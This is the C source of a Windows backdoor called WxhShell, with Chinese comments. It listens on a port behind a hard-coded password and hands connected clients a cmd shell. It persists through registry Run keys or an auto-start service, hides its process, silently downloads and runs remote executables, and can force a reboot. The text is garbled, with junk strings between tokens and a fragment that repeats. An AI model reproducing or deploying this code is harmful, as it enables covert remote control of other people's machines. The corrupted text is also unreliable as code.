E4+b-?PB~ g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); }[ ].\G\G g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); vwKw?Z0%J NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); %}C9 #?9Q{0e if (!NtQueryInformationProcess) return 0; <cYp~e%xIw McjS)4j&. hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); S5N@\ x if(!hProcess) return 0; Ap%O~wA' q]^,vei if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; ~m=$VDWm @\)fzubu CloseHandle(hProcess); <_9!
d.`&0 hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); IAI(Ix if(hProcess==NULL) return 0; 6lsL^]7 *Bs^NU. HMODULE hMod; %e{(twp char procName[255]; &<Mt=(qY1 unsigned long cbNeeded; zmI5"K"'F 3 jF|Ic if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); KmQ^?Ad-C xP{-19s1] CloseHandle(hProcess); [Ct=F| IIxJqGN: if(strstr(procName,"services")) return 1; // 以服务启动 )lh8
k{ T~X41d\ return 0; // 注册表启动 ?,07;>& } d&jjWlHgEN "Sjr_!u // 主模块 4T`&Sl int StartWxhshell(LPSTR lpCmdLine) W"Q!|#;l. { 3]/.\(2 SOCKET wsl; T%(C-Quh BOOL val=TRUE; +tt9R_S int port=0; -U-P}6^ struct sockaddr_in door; SfW}"#L>5 CISO<z0 if(wscfg.ws_autoins) Install(); P~RhUKfd J02^i5l port=atoi(lpCmdLine); C>X|VP|C .!RavEg+ if(port<=0) port=wscfg.ws_port; uZIJoT DM),|Nq" WSADATA data; y-B=W]E if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; LA4<#KP lY'N4x7n if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; 3c #s|qW setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); nt ,7u( door.sin_family = AF_INET; c%f_.MiU door.sin_addr.s_addr = inet_addr("127.0.0.1"); VWi2(@R^ door.sin_port = htons(port); ?6P.b6m}0 @{d\j]Nw if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { #NN ewzC<* closesocket(wsl); cozXb$bBY return 1; DlTR|(AL } -5bA
$ " aq'R(/`c if(listen(wsl,2) == INVALID_SOCKET) { H&4~Uo.5 closesocket(wsl); x83a!9 return 1; 4w$_]ke } x /mp=
Wxhshell(wsl); #0"~G][# WSACleanup(); ?&X6:KJQ #X`8dnQZ return 0; x,8<tSW)Z 7J*N_8?2 } "y;bsZBd" H !)=y // 以NT服务方式启动 0Scm?l3 VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) #VGjCEeU { }-DE`c DWORD status = 0; }#`:Qb \U DWORD specificError = 0xfffffff; K@u&(} r"{<%e serviceStatus.dwServiceType = SERVICE_WIN32; QM<y`cZ8 serviceStatus.dwCurrentState = SERVICE_START_PENDING; #8h;Bj serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; V416g |lBO serviceStatus.dwWin32ExitCode = 0; [xZU!= serviceStatus.dwServiceSpecificExitCode = 0; >mq,}!n serviceStatus.dwCheckPoint = 0; SOf{Hx0C6 serviceStatus.dwWaitHint = 0; T*[
VY1 1wj:aD?g hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); 1Sz A3c if (hServiceStatusHandle==0) return; oG oK, O;9?(:_ status = GetLastError(); EbY,N:LK if (status!=NO_ERROR) /t%u"dP"T~ { TbvtqM 0 serviceStatus.dwCurrentState = SERVICE_STOPPED; SA"p\}"
serviceStatus.dwCheckPoint = 0; *OjKcs serviceStatus.dwWaitHint = 0; Nw_@A8-r serviceStatus.dwWin32ExitCode = status; !CTxVLl"F serviceStatus.dwServiceSpecificExitCode = specificError; lUOvm\ SetServiceStatus(hServiceStatusHandle, &serviceStatus); U7@AC}.+ return; ,m3e?j@;r } V$`Gwr]|n hqvE!Of serviceStatus.dwCurrentState = SERVICE_RUNNING; `:NaEF?Sj serviceStatus.dwCheckPoint = 0; oqd;6[%G serviceStatus.dwWaitHint = 0; u+m,b76 if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); */qtzt } `fNpY#QsN )!bUR\ // 处理NT服务事件,比如:启动、停止 Sjj>#}U VOID WINAPI NTServiceHandler(DWORD fdwControl) l |2D/K5 { DOS0;^f switch(fdwControl) jKIxdY:U { op2Of<{h case SERVICE_CONTROL_STOP: OR1DYHHT/1 serviceStatus.dwWin32ExitCode = 0; o G*5f serviceStatus.dwCurrentState = SERVICE_STOPPED; M9\#Aq&\i serviceStatus.dwCheckPoint = 0; )- 15 N serviceStatus.dwWaitHint = 0; I=)hWC/ { zE T^T5>: SetServiceStatus(hServiceStatusHandle, &serviceStatus); ipnV$!z } #p(h]T32 return; Qd _6)M- case SERVICE_CONTROL_PAUSE: CvSIV7zYo serviceStatus.dwCurrentState = SERVICE_PAUSED; } p
FQRSOZ break; >^Q&nkB"B case SERVICE_CONTROL_CONTINUE: d_UN0YT< serviceStatus.dwCurrentState = SERVICE_RUNNING; AN:sQX` break; !l?.5Pm]) case SERVICE_CONTROL_INTERROGATE: H(c72]@Vg break; }U ~6^2 ., }; mYN7kYR}<` SetServiceStatus(hServiceStatusHandle, &serviceStatus); Y`7~Am/r;& } ='ZRfb& h+p*=|j` // 标准应用程序主函数 O4\Z!R60g int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) c .3ZXqpI; { S1Z2_V TNCgaTJ{h // 获取操作系统版本 '|]e<Mt- OsIsNt=GetOsVer(); <U5wB]] GetModuleFileName(NULL,ExeFile,MAX_PATH); s4Sd>D7 nkxzk$ // 从命令行安装 Ee)[\Qjn if(strpbrk(lpCmdLine,"iI")) Install(); Q$& sTM 1_fZm+oW! // 下载执行文件 h5%<+D< if(wscfg.ws_downexe) { fbyQjvURnC if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) {2/LRPT WinExec(wscfg.ws_filenam,SW_HIDE); _{t9 x\= } H9h@ sSg =9oPowq if(!OsIsNt) { :q8b;*: // 如果时win9x,隐藏进程并且设置为注册表启动 bwVPtu` HideProc(); IdYzgDH StartWxhshell(lpCmdLine); IDkWGh } ,fK3ZC else ]{"Br$ if(StartFromService()) Hsih[f // 以服务方式启动 p
raaY}} StartServiceCtrlDispatcher(DispatchTable); QM3,'?ekRH else JdIlWJY // 普通方式启动 hjaT^(Y StartWxhshell(lpCmdLine); ]k9)G* SH*C" return 0; ?9l [y } `cPywn@uGZ D9`0Dr}/2 d(g^M1m 5H=ko8fZ= =========================================== C6O8RHg R[49(>7H4 OB[o2G <0 *~m+Nc`D,N 763+uFx^ zBO(`=| " D:Q
21Ch >^Se'SE] #include <stdio.h> YF+n
b.0. #include <string.h> D;UV&.$'v #include <windows.h> ix#epuN #include <winsock2.h> VmzbZTup #include <winsvc.h> Vd=yr'? #include <urlmon.h> *3T|M@Y mhW-J6u* #pragma comment (lib, "Ws2_32.lib") \rVQQ|l #pragma comment (lib, "urlmon.lib") k`GA\&zt (`? y2n)~W #define MAX_USER 100 // 最大客户端连接数 oI^4pwn h #define BUF_SOCK 200 // sock buffer `DT3x{}_S #define KEY_BUFF 255 // 输入 buffer '#(v=|J )sho*;_o #define REBOOT 0 // 重启 ^
wY[3"{ #define SHUTDOWN 1 // 关机 C>[Uvc 7\ nf:. #define DEF_PORT 5000 // 监听端口 ICAH G7 , Cgz D$`~ #define REG_LEN 16 // 注册表键长度 Q5%#^ZdsTd #define SVC_LEN 80 // NT服务名长度 CRbdAqofV Hcc"b0>}{ // 从dll定义API H3Se={5h\A typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); V138d?Mm typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); ;Ag
3c+ typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); rp5(pV7* typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); <cA/<3k) 31EyDU,W // wxhshell配置信息 ;/j= Ny{9 struct WSCFG { ZNYH#mJX* int ws_port; // 监听端口 o!4!"O'E char ws_passstr[REG_LEN]; // 口令 %T7nO %p int ws_autoins; // 安装标记, 1=yes 0=no *Z_C4Tj char ws_regname[REG_LEN]; // 注册表键名 )"+(butI& char ws_svcname[REG_LEN]; // 服务名 >a3p >2 char ws_svcdisp[SVC_LEN]; // 服务显示名 3BpZX`l*p char ws_svcdesc[SVC_LEN]; // 服务描述信息 ={hX}"*D char ws_passmsg[SVC_LEN]; // 密码输入提示信息 g#]wLm# int ws_downexe; // 下载执行标记, 1=yes 0=no
^xPmlS;X char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" aTf`BG{kw char ws_filenam[SVC_LEN]; // 下载后保存的文件名 GWvH[0 v:+~9w+ }; ~Y.tz`2D wu"&|dt // default Wxhshell configuration \P1=5rP struct WSCFG wscfg={DEF_PORT,
xG;-bJu "xuhuanlingzhe", jNeI2-9c} 1, )G7=G+e; "Wxhshell", A{B/lX) "Wxhshell", GJqE!I,. "WxhShell Service", wp7!>%s{ "Wrsky Windows CmdShell Service", Y'e eA 2O "Please Input Your Password: ", h=_mNG>R) 1, R-^96fFBy "http://www.wrsky.com/wxhshell.exe", K!,<7[MBg "Wxhshell.exe" _w*}\~`=^ }; @|'5n mw5?[@G- // 消息定义模块 .CSS}4 char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; hQNe;R5 char *msg_ws_prompt="\n\r? for help\n\r#>"; `yF`x8 char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; r]ShZBAbYp char *msg_ws_ext="\n\rExit."; r <
cVp^ char *msg_ws_end="\n\rQuit."; z#F.xVg' char *msg_ws_boot="\n\rReboot..."; e6_ZjrQf char *msg_ws_poff="\n\rShutdown..."; mXUYQ82 char *msg_ws_down="\n\rSave to "; lD{Aa!\ \n9zw' char *msg_ws_err="\n\rErr!"; -7!&@wuQ char *msg_ws_ok="\n\rOK!"; Bvt@X Q?AmOo-a char ExeFile[MAX_PATH]; ={?vAb: int nUser = 0; 7OWbAu; HANDLE handles[MAX_USER]; ddVa.0Z!< int OsIsNt; !gnj]k&/c +y 87~]] SERVICE_STATUS serviceStatus; hXGwP4 SERVICE_STATUS_HANDLE hServiceStatusHandle; e|4&b@ 7 h y&-< // 函数声明
b3YO!cJ int Install(void); &Z?ut*%S int Uninstall(void); 8.bKb<y int DownloadFile(char *sURL, SOCKET wsh); P,=+W(s9} int Boot(int flag); 2&Nb void HideProc(void); a}Sd W int GetOsVer(void); Jgu94.;5 int Wxhshell(SOCKET wsl); m`6Yc:@E void TalkWithClient(void *cs); a(]`F(L int CmdShell(SOCKET sock); 1}ZKc=Pfu int StartFromService(void); ?OdJqw0,G int StartWxhshell(LPSTR lpCmdLine); t:LcNlN| 1y^K/.5- VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); ^KB~*'DN~s VOID WINAPI NTServiceHandler( DWORD fdwControl ); ;V<iL? 7m#[!%D // 数据结构和表定义 Hqh6:RuL SERVICE_TABLE_ENTRY DispatchTable[] = fA48(0p { ;O 0+, {wscfg.ws_svcname, NTServiceMain}, 9;%CHb& {NULL, NULL} ^[Cv26 }; |lH;Fq{\ juBw5U< // 自我安装 6a}"6d/sTL int Install(void) J/);"bg_O { >MJ?g- char svExeFile[MAX_PATH]; c.\O/N
HKEY key; VCy5JH strcpy(svExeFile,ExeFile); M\b")Tu{0 :T3/yd62N // 如果是win9x系统,修改注册表设为自启动 .ut{,(5 if(!OsIsNt) { dMx4ykrR if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { >Q,zNs RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 9]$8MY RegCloseKey(key); <*H^(0 if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { \bCX=E- RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); m"c :"I6 RegCloseKey(key); b{DiM098 return 0; B@Nt`ky0* } !A8^Xmz" } :PbDU$x } Rd+P,PO else { &@"]+33 rg(lCL&:S // 如果是NT以上系统,安装为系统服务 "HM{b?N SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); !\[+99F# if (schSCManager!=0) ,(G%e { v}J;ZIb SC_HANDLE schService = CreateService 64Gi8|P ( #y]3LC#)^G schSCManager, D}Ilyk_uUw wscfg.ws_svcname, YC_3n5F% wscfg.ws_svcdisp, :<#`_K~' SERVICE_ALL_ACCESS, F)$K SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , c.H?4j7ga SERVICE_AUTO_START, +?RGta'%k SERVICE_ERROR_NORMAL, !a1i Un9 svExeFile, sPNfbCOz NULL, vd#,DU=p! NULL, e1
*__' NULL, &A!KJ. NULL, Ni[4OR$-O NULL guN4-gGDr< ); IKvBf'%- if (schService!=0) QL"gWr`R { 8dT'xuch CloseServiceHandle(schService); a!Yb1[ CloseServiceHandle(schSCManager); }F`beoMAkM strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); ^>~dlS strcat(svExeFile,wscfg.ws_svcname); t\j!K2 if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { eNySJf RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); PB~_I= RegCloseKey(key); EiV=RdL return 0; ^6 /j_G } zCXqBuvu1 } ~] =?b)B CloseServiceHandle(schSCManager); /rF8@l } m>Ux`Gp+ } >?XbU} `]2@_wa return 1; #!!AbuhzK{ } OKY+M^PP c]Unbm^w // 自我卸载 y{rn-?`{ int Uninstall(void) `\FI7s3b { +80 2`eax HKEY key; okBE|g jW5iqU"{* if(!OsIsNt) { #MTj)P, if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { x72G^`Wv RegDeleteValue(key,wscfg.ws_regname); 'XfgBJF=
RegCloseKey(key); 2:J,2=% if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { <Ry$7t, RegDeleteValue(key,wscfg.ws_regname); Tx+ p8J|Yr RegCloseKey(key); Z*bC#s? return 0; QP\yaPE } L~MpY{!3 } :::>ro*R } 1)U}i ^ else { ?vu|o'$T, w??c1) SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); u( 9X if (schSCManager!=0) X(GV6mJ4 { a>b8-j=J SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); _'c+fG
\ if (schService!=0) kME^tpji { 6GOg_P if(DeleteService(schService)!=0) { :ej_D} CloseServiceHandle(schService); :VFTVmr CloseServiceHandle(schSCManager); uu3M{*} return 0; F50JJZ } Ygx,t|?7 CloseServiceHandle(schService); 5+FLSk } 9r8D*PvS CloseServiceHandle(schSCManager); *aG"+c6| } J9a $AU* } _?Ckq .Cfp'u%\; return 1; b Fn(w:1Q } a>(~ C'(< @Z=wE3T@ // 从指定url下载文件 W gZ@N int DownloadFile(char *sURL, SOCKET wsh) O9;dd
yx { 5Jd`
^U HRESULT hr; ^?sSx!:bZ char seps[]= "/"; iPkT*Cl8 char *token; >Qk97we'9 char *file; I9,8HtnA char myURL[MAX_PATH]; 9F)W19i. char myFILE[MAX_PATH]; z"3H{ A +Z$a1Y@ strcpy(myURL,sURL); ax]9QrA token=strtok(myURL,seps); C,3T!\ while(token!=NULL) .> ,Z kS { :P"9;$FY file=token; [[$Mh_MD token=strtok(NULL,seps); X$ PS(_M } bx]14}6 d~,n_E$q; GetCurrentDirectory(MAX_PATH,myFILE); (Otur strcat(myFILE, "\\"); iI}nW strcat(myFILE, file); (Y>U6 send(wsh,myFILE,strlen(myFILE),0); BMF3XcH~G send(wsh,"...",3,0); lkyJ;}_** hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); @NBXyC8,Z if(hr==S_OK) W -3w7^ return 0; lvG3<ls0K$ else Yr:>icz| return 1; R<t&F\> r*>QT:sB } r@;$V_I R,XD6' Q // 系统电源模块 VJGwd`qo*A int Boot(int flag) gMCy$+? { z{AM2Z HANDLE hToken; `dP? 2-Z TOKEN_PRIVILEGES tkp; nWd:>Ur cFe V?a if(OsIsNt) { !(}OBZ[* OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); E:%>0FE LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); m2wp m_vV# tkp.PrivilegeCount = 1; 0VG^GKmx tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; &C\=!r0j^ AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); #dL5x{gV= if(flag==REBOOT) { qNhH%tYQ if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) JHHb | return 0; '! #On/ } ]U#JsMS else { -i2D#i' if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) &`-_)~5] return 0; 3KB|NS } wbn^R' } -wJ else { @263)`9G if(flag==REBOOT) { "K/[[wX\b if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) @#'yPV1 return 0; uv?8V@x2 } &E} I else { ]:[)KZ~ if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) i/l!Cr2 return 0; &h98.A*& } IS3e|o*]MP } GG@iKL V uZo]8mV return 1; : Bdi pc } WK/b=p|#o
zZS>+O // win9x进程隐藏模块 u<BHf@AI void HideProc(void) s|fCR { "H
wVK m~A[V,os HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); hpd(d$j if ( hKernel != NULL ) PT
0Qzg { fU\k?'x_ pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); TyxU6<>4J4 ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); v9X7-GJ~ FreeLibrary(hKernel); E#IiyZ } <DA{\'jJ }z9I`6[ return; v
Ie=wf~D` } Y^*Lh/:h ?0 KiR? // 获取操作系统版本 :pL1F)-* int GetOsVer(void) o(v"?Y 6 { f}evw K[S OSVERSIONINFO winfo;
ox i
a} winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); =|j*VF 2y" GetVersionEx(&winfo); [RGC!}"mr if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) Zpn*XG return 1; op.PS{_t else :V5!C$QV return 0; Pl>nd)i` } y{&{=1# >S-N|uR6 // 客户端句柄模块 : pE-{3I int Wxhshell(SOCKET wsl) tWCv]* { X-*KQ+? SOCKET wsh;
]*kP> struct sockaddr_in client; #Of<1 DWORD myID; @4W\RwD )n[`Z# while(nUser<MAX_USER) @SF")j| { rS,*s'G int nSize=sizeof(client); @@&@}IQcR1 wsh=accept(wsl,(struct sockaddr *)&client,&nSize); kG|>_5 if(wsh==INVALID_SOCKET) return 1; H$=h- i"r.>X'Z handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); ~,M;+T}[r if(handles[nUser]==0) $z`cMQ r closesocket(wsh);
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else ]/<Qn-BbU nUser++; fxtYo,;$ } CwH)6uA WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); $fj"* VQG /g\ return 0; +i q+ } LzEE]i -67f33 // 关闭 socket HPd+Bd void CloseIt(SOCKET wsh) (`uC"M Lk { ,pGCgOG#}c closesocket(wsh); ([4{n nUser--; ~;O=
7 ExitThread(0); Is*0?9qU } S*DBY~pZy {ZBb.$}RC // 客户端请求句柄 B#Oc8`1Y void TalkWithClient(void *cs) rTH[?mkf4 { S#%JSQo: WSpg(\Cs SOCKET wsh=(SOCKET)cs; XR=c
8f char pwd[SVC_LEN]; {]/Jk07 char cmd[KEY_BUFF]; oRJP5Y5na char chr[1]; xzGsfd int i,j; '\E*W!R.] )1tnZ=& while (nUser < MAX_USER) { {$QF*j scPq\Qd?O if(wscfg.ws_passstr) { fb=$<0Ocj if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); k~s>8N:&G //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); qwq+?fj={ //ZeroMemory(pwd,KEY_BUFF); (=&bo p i=0; +/_B/[e<> while(i<SVC_LEN) { 0.+Z;j Z@aL"@2]a // 设置超时 J'Mgj$T $ fd_set FdRead; !+26a*P struct timeval TimeOut; 'r?HL;,q FD_ZERO(&FdRead); I>4Tbwy.- FD_SET(wsh,&FdRead); 0f#a_ TimeOut.tv_sec=8; .Mft+," TimeOut.tv_usec=0; "62Ysapq+ int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); p$!+2=)gY if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); I9j+x]) d\<aJOi+- if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 63dtO{:4 pwd=chr[0]; *p5T if(chr[0]==0xd || chr[0]==0xa) { ",
Rw%_ pwd=0; 2] wf`9ZH break; Z$=$oJzB } VEYKrZA i++; >D^7v(& } I8oKa$RF K}*p(1$u // 如果是非法用户,关闭 socket 0~L8yMM if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); $8 ww]}K } Q\>SF cM'[;u send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); d~bH!P send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); S$_Ts1Ge6 zSvHv s while(1) { DdZ_2B2 g:6}zHK ZeroMemory(cmd,KEY_BUFF); FZ.Yn ump:dL5{ // 自动支持客户端 telnet标准 n)7$xYuH j=0; D'hr\C^ while(j<KEY_BUFF) { ,7$uh): if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 6!PX!
UkF cmd[j]=chr[0]; ?@BaBU:o`F if(chr[0]==0xa || chr[0]==0xd) { 2X|jq4 cmd[j]=0; 7Z :l;%]K break; q@yabuN@,j } b0CaoSWo j++; T1W9@9,s } 00x^zu?N [?o vJ // 下载文件 $<DA[
%pv if(strstr(cmd,"http://")) { QL!+.y% send(wsh,msg_ws_down,strlen(msg_ws_down),0); ED_5V@ if(DownloadFile(cmd,wsh)) a_MnQ@ send(wsh,msg_ws_err,strlen(msg_ws_err),0); PsT v\! else @uD{`@[ send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); oa|*-nw } 7027@M?A? else { FQRcZpv; X(q=,^Mp switch(cmd[0]) { >V=@[B(0 PS;*N8 // 帮助 &jd<rs5} case '?': { :u+#:8u send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); p%_
:( break; 4^9_E&Fa } UC$+&&rO // 安装 6u3(G j@ case 'i': { &Y2P! \\2 if(Install()) X,CFY send(wsh,msg_ws_err,strlen(msg_ws_err),0); m*,[1oeG& else N2Hb19/k send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); !sWBj'[> break; dR{
V,H7N } r}Av" // 卸载 CUcjJ|MZ case 'r': { zhL,BTH if(Uninstall()) bncFrzp#o send(wsh,msg_ws_err,strlen(msg_ws_err),0); 4u7>NQUDu else <Wq{ V;$ send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); }-iOYSn break; sUMn
(@r } ay[*b_f // 显示 wxhshell 所在路径 "b7C0NE case 'p': { ^<+heX char svExeFile[MAX_PATH]; cNvcpv strcpy(svExeFile,"\n\r"); )S?}huX strcat(svExeFile,ExeFile); EOC"a}Cq- send(wsh,svExeFile,strlen(svExeFile),0); LRs;>O break; o)WSMV(&f } $4,6&dwg // 重启 n/D]r case 'b': { hKYPH?b% send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); ! .}{
f;Ls if(Boot(REBOOT)) )5x?Qn (B send(wsh,msg_ws_err,strlen(msg_ws_err),0); !%9I%Ak^ else { v21? closesocket(wsh); 4f,x@:Jw ExitThread(0); eQj/)@B:V } WQ`T'k#ESW break; #IDCCD^1= } Y.#+Yh[ // 关机 `;@4f|N9 case 'd': { :"]ei@ send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); _r'M^=yx[ if(Boot(SHUTDOWN)) W -&5
v send(wsh,msg_ws_err,strlen(msg_ws_err),0); TaG-^bX8B else { P#PQ4uK \ closesocket(wsh); L~~Yh{< ExitThread(0); 5Bo)j_Qo } XvY-C break; CXZeL 1+ } ]+P&Y: // 获取shell _#B/#^a case 's': { Hc9pWr"N CmdShell(wsh); O6]~5&8U. closesocket(wsh); FeLP!oS> ExitThread(0); XT"c7]X break; Xg,BK0O } +_Z/VQv // 退出 KHtY
+93 case 'x': { (P-<9y@ send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); d.A0(*k, CloseIt(wsh); |e\%pfZ break; 5@ug1F& } ZD(gYNi // 离开 }__+[- case 'q': { stPCw$@ send(wsh,msg_ws_end,strlen(msg_ws_end),0);
2X_ef closesocket(wsh); L_,U*Jyo WSACleanup(); @Rm/g#!h" exit(1); :F&WlU$L break; -wB AFr } s? Kn,6Y } ^dqEOW } Cx[4
/~_< j7&l&)5 // 提示信息 4KCxhJq if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); HdM;c*K } bd4q/w4q } "|if<hx+ /V&Y@j return; s><co] } uZ+< \+xsJbEV // shell模块句柄 W=!f int CmdShell(SOCKET sock) `c(@WK4 { |wDCIHzQ STARTUPINFO si; U,'n}]=4A3 ZeroMemory(&si,sizeof(si)); \"SI-`x si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; J5k% si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; scdT/|(U$ PROCESS_INFORMATION ProcessInfo; cF6|IlhO char cmdline[]="cmd"; #_d%hr~d CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); s>5 Z return 0; +-hmITJv } {F j`'0Xu; rfjQx]3pB // 自身启动模式 )7^jq| int StartFromService(void) fOVRtSls { X_lNnk typedef struct L" o6)N { _3hEYeh DWORD ExitStatus; ]Uu/1TTf DWORD PebBaseAddress; 3r\QLIr L8 DWORD AffinityMask; $[Fk>d DWORD BasePriority; 4P8:aZM ULONG UniqueProcessId; <Wpz\U ULONG InheritedFromUniqueProcessId; `JRdOe } PROCESS_BASIC_INFORMATION; C.@TX
%^S1 fUwT PROCNTQSIP NtQueryInformationProcess; n#*cVB81 FB@G.f static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; &b_duWs static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; IY'S<)vOY wNlp4Z'[ HANDLE hProcess; 0^+W"O PROCESS_BASIC_INFORMATION pbi; mU!c;O }5K\l
HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); -8]$a6`{_ if(NULL == hInst ) return 0; Px<;-H` VD4( g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); fA8 ,wy|> g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); FX{Sb" NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); '>Z
Ou3> WDcjj1`l
if (!NtQueryInformationProcess) return 0; mwt3EV5 B#=dz,} hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); [Mx+t3M if(!hProcess) return 0; dQ<EDtap mz47lv1? if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; j:0z/gHp$ r;-\z(h CloseHandle(hProcess); BwR)--75 ~!I
